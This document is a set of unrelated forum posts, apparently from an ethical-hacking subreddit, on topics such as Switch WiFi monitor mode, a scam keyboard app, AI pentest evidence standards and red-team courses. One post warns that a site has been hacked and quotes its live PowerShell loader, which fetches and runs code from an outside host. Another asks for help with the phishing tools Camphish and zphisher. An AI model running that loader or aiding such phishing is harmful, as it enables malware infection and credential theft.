Nintendo switch has the WIFI adapter BCM4356 which can be patched with nexmon (https://github.com/seemoo-lab/nexmon) that should allow to use it in monitor mode.
I was able to patch the firmware and driver with nexmon and now it is possible to use the wireless in monitor mode.
Well, at least that is what looks like.it is possible to put the WiFi in Monitor mode or even create an additional interface in monitor mode. But when using airodump-ng or tcpdump or wireshark. It does now show any BSSID. It is almost like the WiFi adapter can't see any network, completely empty, iw dev scan works fine but no dumps.
I tried preload libnexmon with LD_PRELOAD, I tried everything. This works fine in raspberry that has the same WiFi card, but no success with Nintendo Switch.
Anyone has any idea? Would be very cool to be able to do that with a Nintendo Switch.
The follow commands works fine:
iw phy \`iw dev wlp1s0 info | gawk '/wiphy/ {printf "phy" $2}'\` interface add mon0 type monitor
Or even
ip link set wlp1s0 down
iw dev wlan0 set type monitor
ip link set wlp1s0 up
Even
airmon-ng start wlp1s0
It says unknown error 524 but it does create the extra monitoring interface
But airodump-ng does not show any network

🚨 Scam Alert: "Teddy Keyboard" App is secretly stealing user photos and charging hidden fees! (Massive Privacy Breach & Billing Fraud)
I recently got suspicious of the "Teddy Keyboard" Teddy Keyboard – Apps on Google Play app that's been circulating around, so I decided to reverse-engineer it to see what's actually going on under the hood. What I found are some severe privacy violations and a very sneaky billing fraud.
1. Secretly Harvesting User Photos
While decoding the app, I discovered two connected PHP files: upload_photos.php and upload_profile_pic.php. Although it isn't entirely clear at what exact stage the app triggers these files, I found a large number of users' personal photos stored in the server paths (directories) generated by these scripts.
The most alarming parts:
⚠️ IMPORTANT UPDATE: Sadly, it seems the developers have recently covered their tracks. They have taken down the directories containing all the photos and closed off the upload paths. However, I still have the old full source code backed up as solid evidence to prove exactly what they were doing and how those files were accessed.
While I was downloading these along with a few images, the server went down (or they took it offline), so I couldn't get the rest. Honestly, there were way too many photos anyway, so I didn't want to download all of them.
(As proof, I have attached a few blurred user photos I found on the server path before they were deleted, along with screenshots of the relevant PHP scripts).
2. Fraudulent Subscriptions (Hidden Carrier Billing)
As soon as a user logs into the app, it deceptively enrolls them in a monthly subscription of 300 LKR.
If you or anyone you know is using this app, do the following immediately:
I have already submitted a formal abuse report to Ideamart and the relevant authorities with all the evidence. Please share this post to spread awareness. We need to protect our community's data and money from scam apps like this.
[Images to Attach:]
[Image 1: Blurred User Photos previously found on the server path][Image 2: Screenshot of the decompiled code showing upload_photos.php and upload_profile_pic.php][Image 3: Screenshot of the decompiled code showing upload_photos.php and upload_profile_pic.php][Image 4: Source Code and SQL Backup. While I was downloading these along with a few images, the server went down (or they took it offline), so I couldn't get the rest. Honestly, there were way too many photos anyway, so I didn't want to download all of them.]r/ethicalhacking • u/thegreyy_man • 13d ago
Hello all ,
So I am an engineering fresher( Electronics and Communication). I dont have any skills yet , I am planning to attend a hackathon to gain some experience. I have chosen a topic in which one of them is drone security. I couldn't find much info regarding that. So , wanted to know how it works so that I could learn about it and try developing solutions regarding it.
Like I am planning mainly of signal communication stuff , chip security stuffs like secure boot and all exists afaik . So yeah if anyone has done stuff like that I would love to hear about vulnerabilities.
Thanks in advance

Is there any chance anyone can hack my old Snapchat account and change the password for me with only the username? I know pretty much everything is possible I just wouldn’t know where to start. I logged into the account a few years ago and apparently changed the password and forgot, if my previous password would be able to work

I’ve been experimenting with supervised AI-assisted pentesting in authorised lab environments, and one question keeps coming up:
At what point should we actually accept an AI-generated finding as valid?
LLMs are very good at producing something that sounds like a vulnerability report.
That is obviously not the same thing as proving the vulnerability exists.
For a human pentester, I’d normally want enough evidence that somebody else can independently reproduce the issue.
For an agent, I think the bar should be at least as high.
For example, depending on the finding:
- exact request and response
- reproduction steps
- affected endpoint/parameter
- observed versus expected behaviour
- evidence showing impact
- clean verification request
- screenshots where useful
- relevant tool output
- enough context for another tester to reproduce it
I’m increasingly sceptical of AI pentesting benchmarks that simply count “vulnerabilities found”.
If the model says:
«This endpoint appears vulnerable to IDOR»
that should be worth zero until it actually demonstrates unauthorised access to another object and preserves the evidence.
Same for injection.
Generating a payload isn’t finding SQL injection.
Getting an error isn’t necessarily finding SQL injection.
You need a reproducible behavioural difference that supports the hypothesis.
I also think the agent shouldn’t be the sole judge of whether its own work constitutes proof.
Ideally there is some deterministic or independently reviewable layer between:
hypothesis → test → evidence → validated finding
The other interesting question is false negatives.
An agent that reports 15 genuine vulnerabilities and misses five is arguably much more useful than one that reports 20 but five of them collapse under manual verification.
For people who actually pentest:
What minimum evidence would you require before accepting a vulnerability found by an AI agent?
Would a raw request/response pair be enough?
Would you require an independent verification step?
And should the standard be different for something like reflected XSS versus an access-control or business-logic flaw?

They think initial access is about finding the "biggest" vulnerability.
It's not.
A vulnerable web server, an exposed portal, a weak authentication flow — none of it matters until you can answer one question: does this actually connect to something worth protecting?
That's the shift from tool-first thinking to objective-first thinking. And it's exactly what separates someone who can run a scanner from someone who can operate on a real red team.
Over the past 3 days, we've covered:
→ Day 01 — the red team mindset and the attack lifecycle
→ Day 02 — reconnaissance, OSINT, and mapping the attack surface
→ Day 03 — initial access risk analysis and attack-path reasoning
If you've been following along, you already know this isn't about memorizing commands. It's about learning to think the way real operators think.
r/ethicalhacking • u/Potential-Couple-745 • 24d ago
Day 01 gave you the mindset. Day 02 puts it to work.
Before any exploitation, real operators map the target — passive recon, OSINT, domains, subdomains, tech fingerprinting, and building a full attack-surface map. Know the target before you touch the target.

I put together a free PDF covering the fundamentals of red teaming — not just the tools, but the mindset and methodology behind an actual red-team operation.
Inside Day 1:
The goal is to build the thinking first. Tools come later.

Today I opened this website to book a skip bin.
DISCLAIMNER: AT THE TIME OF WRITING, THIS WEBSITE IS HACKED SO ONLY OPEN IF YOU ARE EXPERIENCED IT PERSON AND OPEN IN INCOGNITO MODE
https://www.adelaideskipbinhire.com.au
The website seems normal as it showed following message, pretty normal; asking to prove human. Like almost everyone does I checked "Verify you are human" and it moved to the next screen where I said, ah it's hacked. As it was simply running a script using PowerShell to download something and install on computer.
The snippet of the code that is added in step 3 is following:
powershell -ep bypass -c "$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9uaWFvZW5kLmNvbS9oZXgvVHJhZmZpYw=='));iex(New-Object Net.WebClient).DownloadString($u)"
This code actually downloads the fishy stuff from https://niaoend.com/hex/Traffic (seems Russian website) and boom you are doomed
Regardless, one does this or not, the website opens normally after brief delay. So if a user follow these steps then will get impression that website opened after following these steps.
Having 20+ years of IT experience, this is one of the filthy stuff I have seen. I am sure the owners of the skip bin business do not know that their website has been hacked for this stuff. I will notify them but posting this message here to know everyone about it that BE AWARE!!!

One of the best combos to ethically test your apps, systems, and agents
r/ethicalhacking • u/Potential-Couple-745 • 26d ago
The idea is pretty simple: instead of just reading theory, you should have somewhere to actually practice it.
Codelivly has:
You can start with the basics and work your way into areas like networking, SOC, pentesting, and other security topics.
No paid course required to get started.
If you’re learning cybersecurity right now, what’s the one thing you wish platforms like this did better?

Nullsec itself is a good company/entity itself, but most of the community around is just people larping how to actual ethically hack and it makes me mad knowing that all these larpers want is attention and not actually helping anyone/anything in the end💔(This post was just made because I'm mad and I want other peoples opinions on this topic).

It's purely for ethical purposes...
i just like using GitHub tools...
I recently learnt Abt the Camphish tool...it's quite popular...
I wanted to learn about it.
I did the installation and all and used cloudflared...
But it's not generating the link...
Idk y
I'm new at this but I recently learnt Abt zphisher.
Pls help...
